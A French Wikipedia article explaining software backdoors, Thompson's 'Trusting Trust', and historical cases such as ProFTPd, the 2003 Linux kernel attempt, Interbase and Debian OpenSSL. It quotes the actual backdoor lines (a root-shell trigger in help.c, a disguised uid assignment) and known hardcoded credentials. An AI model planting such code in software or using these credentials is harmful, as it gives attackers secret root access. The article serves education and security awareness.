Porte dérobée

Un article de Wikipédia, l'encyclopédie libre.
Aller à : navigation, rechercher

Dans un logiciel, une porte dérobée (de l'anglais backdoor, littéralement porte de derrière) est une fonctionnalité inconnue de l'utilisateur légitime, qui donne un accès secret au logiciel.

L'introduction d'une porte dérobée dans un logiciel à l'insu de son utilisateur transforme le logiciel en cheval de Troie.

Technique[modifier | modifier le code]

Une porte dérobée peut être introduite soit par le développeur du logiciel, soit par un tiers. La personne connaissant la porte dérobée peut l'utiliser pour surveiller les activités du logiciel, voire en prendre le contrôle (par contournement de l'authentification). Enfin, selon l'étendue des droits que le système d'exploitation donne au logiciel contenant la porte dérobée, le contrôle peut s'étendre à l'ensemble des opérations de l'ordinateur.

La généralisation de la mise en réseau des ordinateurs rend les portes dérobées nettement plus utiles que du temps où un accès physique à l'ordinateur était la règle.

Parmi les motivations amenant les développeurs de logiciel à créer des portes dérobées, il y a :

  • l'intérêt pratique d'un accès facile et toujours ouvert au logiciel pour pouvoir mener efficacement les actions de maintenance ;
  • la possibilité de désactiver subrepticement le logiciel en cas de désaccord avec son client (non-paiement de licence).

Parmi les motivations amenant les pirates informatiques à installer une porte dérobée :

  • la possibilité de surveiller ce que fait l'utilisateur légitime et de copier ou détruire des données ayant une valeur (mots de passe, clé privée pour déchiffrer des messages privés, coordonnées bancaires, secrets commerciaux) ;
  • la possibilité de prendre le contrôle d'un ordinateur et de pouvoir l'utiliser pour mener des actions malfaisantes (envoi de pourriels notamment pour l'hameçonnage, de virus informatiques, déni de service) ;
  • le contrôle d'un vaste réseau d'ordinateurs (voir botnet), qui peut être utilisé pour du chantage au déni de service distribué (DDoS), ou revendu à des criminels.

Pour installer des portes dérobées en masse, les pirates utilisent des vers. Ceux-ci se répandent automatiquement et installent un serveur informatique sur chaque ordinateur infecté. Ensuite le pirate peut se connecter à travers Internet au serveur.

Une porte dérobée peut aussi être insérée par voie d'Easter egg, de compilateur (voir la section plus bas Le cas du compilateur C Unix: Trusting Trust), ou peut prendre la forme d'un programme, comme Back Orifice.

Le cas du compilateur C Unix : Trusting Trust[modifier | modifier le code]

En 1984, l'informaticien américain Kenneth Thompson décrit, dans son article Reflections on Trusting Trust, comment il aurait été possible d'insérer une porte dérobée dans tous les programmes en C compilés sur Unix. De plus, vu que les versions mises à jour de ce compilateur, qui n'est rien d'autre qu'un autre programme compilé, sont compilées à partir du compilateur C préexistant, l'algorithme d'insertion de la porte dérobée se serait fait transmettre d'une mise à jour à une autre. Donc, si ce compilateur à porte dérobée avait été « lâché dans la nature » (en anglais : released in the wild) à l'origine, alors n'importe quel compilateur de C insérerait possiblement des portes dérobées de nos jours.

Il est à noter que la porte dérobée présente dans tous les programmes C compilés n'apparaîtrait jamais dans le code source en C.

L'appellation trust (pour confiance) vient du fait que le compilateur C d'origine est considéré par son utilisateur final comme une boîte noire digne de confiance.

Pour un programmeur qui ne comprend pas le fonctionnement d'un tel compilateur, mais lui fait confiance, il serait difficile de penser qu'un programme, qu'il a lui-même écrit puis compilé, contient une porte dérobée[1].

Affaires notables[modifier | modifier le code]

F5 Big-IP et Enterprise Manager (2012)[modifier | modifier le code]

Le 16 février 2012, une clef secrète permettant de s'authentifier en tant que root (Administrateur) sur la majorité des appareils vendus par F5 a été révélée [2]. La faille a été corrigée par le vendeur le 06 juin 2012[3]. Cette clef étant présente sur tous les appareils vulnérables, le bug a obtenu un Pwnie Award (en) [4] durant la conférence BlackHat USA 2012.

HP StorageWorks P2000 G3 (2010)[modifier | modifier le code]

Le 13 décembre 2010, un compte caché a été trouvé[5],[6],[7] dans le système de stockage HP StorageWorks P2000 G3 : le nom d'utilisateur « admin » et le mot de passe « !admin » permet de s'identifier avec le maximum de privilèges. Il n'est pas possible de supprimer ce compte, par contre il est possible d'en changer le mot passe en passant par la ligne de commande[8] (commande « set password admin password ... »).

ProFTPd (2010)[modifier | modifier le code]

Le 28 novembre 2010, le tarball de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet[9]. La porte dérobée ajoute une commande « HELP ACIDBITCHEZ » qui ouvre un shell en tant que l'utilisateur root[10]. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte[11] le 1er décembre 2010, et corrigée le 2 décembre. La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c :

if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }

L'attaquant s'est introduit sur le serveur FTP en utilisant une faille du module SQL de PostgreSQL qui permet d'exécuter du code à distance. Cette faille a été publiée[12] le 17 novembre 2010 dans le numéro 67 du magazine Phrack. La faille est corrigée[13] par la version 1.3.3d de ProFTPd.

Cisco Unified Videoconferencing (2010)[modifier | modifier le code]

Trois comptes ont été découverts dans un système de visioconférence Cisco, Cisco Unified Videoconferencing (UVC), modèles System 5110 et 5115, utilisant le système d'exploitation Linux. C'est Florent Daigniere qui a découvert ces comptes durant un audit et il les a diffusés sur la liste de diffusion Full Disclosure le 17 novembre 2010[14],[15]. Cisco a publié un bulletin de sécurité le même jour[16]. Il s'agit des comptes « root », « cs » et « develop » qui ne peuvent ni être modifiés, ni être supprimés. Ils permettent un accès distant par les protocoles FTP et SSH. D'autres failles ont été découvertes durant cet audit.

Noyau Linux (2003)[modifier | modifier le code]

Le 4 novembre 2003, une porte dérobée a été introduite[17] dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain[18]. Le serveur CVS était un miroir du dépôt officiel utilisant BitKeeper[19]. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction sys_wait4 du fichier « kernel/exit.c » :

 +       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
 +                       retval = -EINVAL;

La condition (current->uid = 0) est censée être lue par un lecteur particulièrement naïf comme une comparaison « si le numéro d'utilisateur du processus est 0 (root) » mais signifie en réalité en langage C l'affectation « le numéro d'utilisateur du processus devient 0 (root) ». Le résultat est que si cette fonction sys_wait4() truquée était appelée avec les paramètres __WCLONE|__WALL, le processus prenait l'identité de root, le niveau d'utilisateur disposant des droits d'accès maximaux.

Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe = (Pascal, Ada, ML...) et d'autres où c'est la double égalité == qui joue ce rôle (C, C++, Java...), le signe = signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chance de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissés prendre.

De plus, le processus de développement collectif d'un logiciel (notamment celui d'un logiciel libre) impose que chaque modification soit validée ; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les diff et soulève de légitimes interrogations si elle n'a pas une justification claire.

Microsoft Windows NT4 et _NSAKEY (1999)[modifier | modifier le code]

Article détaillé : _NSAKEY.

_NSAKEY est le nom d'une variable découverte en août 1999 dans le système d'exploitation Windows NT 4 (SP5) de Microsoft. Cette version fut diffusée sans que les informations destinées au débugage soient enlevées. La variable découverte par Andrew D. Fernandes de Cryptonym Corporation contenait une clé publique de 1024 bits. La nouvelle provoqua un tollé général et l'apparition de diverses rumeurs concernant une éventuelle conspiration gouvernementale. Si la NSA avait effectivement été en possession de la clé secrète correspondant à la clé présente dans Windows NT, il lui aurait été possible de chiffrer des données provenant des utilisateurs et, avec la complicité de Microsoft, de récupérer ces informations.

Interbase (1994-2001)[modifier | modifier le code]

Une porte dérobée a été découverte dans le système de gestion de base de données Interbase le 10 janvier 2001[20], lors de l'ouverture du code source par son éditeur, Borland. Il suffisait d'entrer le nom d'utilisateur « politically » et le mot de passe « correct » (politically correct, littéralement "politiquement correct" en français) pour se connecter en administrateur. Cette porte dérobée a été introduite entre 1992 et 1994[21]. Ce compte ne pouvant pas être modifié ou supprimé, il fallait par conséquent installer une nouvelle version d'Interbase ne contenant pas ce compte caché.

BIOS[modifier | modifier le code]

Des BIOS de certains fabricants[22] (dont les deux principaux, AMI et AWARD) ont un mot de passe caché permettant d'accéder au BIOS même s'il est protégé par un mot de passe choisi par l'utilisateur. Le mot de passe caché dépend du modèle de BIOS.

Failles de sécurité introduites involontairement[modifier | modifier le code]

Dans les affaires suivantes, une modification d'un logiciel a introduit une faille de sécurité, sans que l'auteur de la modification ne l'ait fait volontairement. L'auteur n'avait pas les compétences pour évaluer que sa modification puisse introduire une faille de sécurité, ou plus simplement il n'a pas pensé à l'impact qu'elle pouvait avoir sur la sécurité du produit.

OpenSSL packagé par Debian (2006-2008)[modifier | modifier le code]

Le 17 septembre 2006, une faille de sécurité a été introduite involontairement dans la version Debian de la bibliothèque OpenSSL. C'est le mainteneur du paquet OpenSSL, Kurt Roeckx, qui a introduit le 2 mai 2006[23] une faille de sécurité dans OpenSSL en voulant corriger[24] un avertissement de l'outil Valgrind, qui était en fait un faux-positif. Le fait que la modification ait introduit une faille de sécurité est involontaire : Kurt Roeckx a contacté[25] les développeurs d'OpenSSL pour demander conseil, mais il a posté sur la mauvaise liste (openssl-users au lieu d'openssl-dev) et une confusion s'en est suivi. La première version vulnérable, 0.9.8c-1, a été téléchargée dans la distribution instable le 17 septembre 2006. La faille a été trouvée en mai 2008 et corrigée le 13 mai 2008[26].

La modification d'OpenSSL a réduit l'entropie du générateur de nombres aléatoires à seulement environ 15 bits  : seul l'identifiant de processus (PID) était utilisé. Un identifiant peut avoir une valeur entre 1 et PID_MAX (32768), ce qui ne donne que 32 767 graînes possibles[27]. Au niveau des clés de chiffrement, il en existe trois fois plus, 98 301, car la génération des clés dépend de l'architecture, et dans cas 3 architectures différentes entrent en jeu (little-endian 32 bits, little-endian 64 bits et big-endian 32 bits).

Installeur Ubuntu (2005-2006)[modifier | modifier le code]

L'installeur du système d'exploitation Ubuntu, dans sa version 5.10 (Breezy Badger, sortie le 13 octobre 2005) uniquement, écrivait le mot de passe de l'utilisateur root dans plusieurs fichiers de log lisible par n'importe quel utilisateur. Le bug a été trouvé par Karl Øie le 12 mars 2006[28], puis corrigé le même jour[29]. Ce bug permet à un utilisateur local d'élever ses privilèges. Il est plus probable que ça soit un oubli des programmeurs de l'installeur, qu'une faille de sécurité introduite volontairement.

Au cinéma[modifier | modifier le code]

Le scénario du film américain WarGames repose sur une porte dérobée. Le concepteur d'un système informatique militaire y insère une porte dérobée sous la forme d'un mot de passe non-documenté qui y donne accès. Ce mot de passe donne aussi accès à des fonctionnalités non-documentées du programme, qui donne au système de contrôle d'armement l'apparence d'un jeu vidéo de simulation de guerre.

Dans le film Tron l'héritage Sam Flynn s'introduit dans la grille à l'aide d'un login en backdoor.

Notes et références[modifier | modifier le code]

  1. Kenneth Thompson, Reflections on Trusting Trust, Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. (en)
  2. Florent Daigniere de Matta Consulting, « CVE-2012-1493 MATTA-2012-002 F5 BIG-IP remote root authentication bypass Vulnerability »,‎ 16 février 2012
  3. « A platform-specific remote access vulnerability has been discovered that may allow a remote user to gain privileged access to affected systems using SSH. The vulnerability is caused by a configuration error, and is not the result of an underlying SSH defect. »,‎ 06 juin 2012
  4. « Including a SSH authentication public key for root on all F5 devices is nice, putting the private key for it in the firmware where it can be found and then used against any other F5 device is even better. For FAIL, press F5. »,‎ 25 juillet 2012
  5. Auteur volontairement anonyme, « hidden admin user on every HP MSA2000 G3 », Liste de diffusion Bugtraq de SecurityFocus,‎ 13 décembre 2010
  6. « Backdoor Vulnerability Discovered on HP MSA2000 Storage Systems », SecurityWeek News,‎ 14 décembre 2010
  7. « CUSTOMER ADVISORY: HP StorageWorks P2000 G3 MSA Array Systems-How to change additional Service Account password », HP,‎ 16 décembre 2010
  8. Pavel Kankovsky, « Re: hidden admin user on every HP MSA2000 G3 »,‎ 15 décembre 2010
  9. « Proftpd Rules »
  10. « News: ProFTPd owned and backdoored »,‎ 2 décembre 2010
  11. TJ Saunders, « ProFTPD ftp.proftpd.org compromise »
  12. max_packetz@felinemenace.org, « ProFTPD with mod_sql pre-authentication, remote root »,‎ 17 novembre 2010
  13. « Bogue 3536 - mod_sql has insufficient bounds checking in sql_prepare_where() function »
  14. Florent Daigniere de Matta Consulting, « Cisco Unified Videoconferencing multiple vulnerabilities - CVE-2010-3037 CVE-2010-3038 »,‎ 17 novembre 2010
  15. « CVE-2010-3038 », US-CERT/NIST,‎ 22 novembre 2010
  16. « Cisco Security Advisory: Multiple Vulnerabilities in Cisco Unified Videoconferencing Products », Cisco,‎ 17 novembre 2010
  17. Larry McVoy, « BK2CVS problem », Liste de diffusion du noyau Linux (LKML),‎ 5 novembre 2003
  18. Chad Kitching, « Re: BK2CVS problem », Liste de diffusion du noyau Linux (LKML),‎ 5 novembre 2003 (17:51:03 EST)
  19. Jeremy, « Linux: Kernel "Back Door" Attempt », KernelTrap.org,‎ 5 novembre 2003
  20. Jeffrey S Havrilla, « Borland/Inprise Interbase SQL database server contains backdoor superuser account with known password », US-CERT,‎ 10 janvier 2001
  21. michael, « Interbase Backdoor, Secret for Six Years, Revealed in Source », Slashdot,‎ 11 janvier 2001
  22. « How to Reset a BIOS Password », TopBits
  23. Kurt Roeckx (kroeckx), « Commit numéro 141 dans pkg-openssl »,‎ 2 mai 2006
  24. « #363516: valgrind-clean the RNG », Debian,‎ 19 avril 2006 (dernière mise à jour : 20 mai 2008)
  25. Kurt Roeckx, « Random number generator, uninitialised data and valgrind »,‎ 1er mai 2006
  26. « DSA-1571-1 openssl -- Générateur de nombres aléatoires prévisible », Debian,‎ 13 mai 2008
  27. « SSLkeys »,‎ 13 mai 2008 (dernière modification : 4 décembre 2010)
  28. karl (karloie), « Administrator root password readable in cleartext on Breezy », Ubuntu,‎ 12 mars 2006
  29. « USN-262-1: Ubuntu 5.10 installer vulnerability (CVE-2006-1183) »,‎ 12 mars 2006

Voir aussi[modifier | modifier le code]

Article connexe[modifier | modifier le code]

Liens externes[modifier | modifier le code]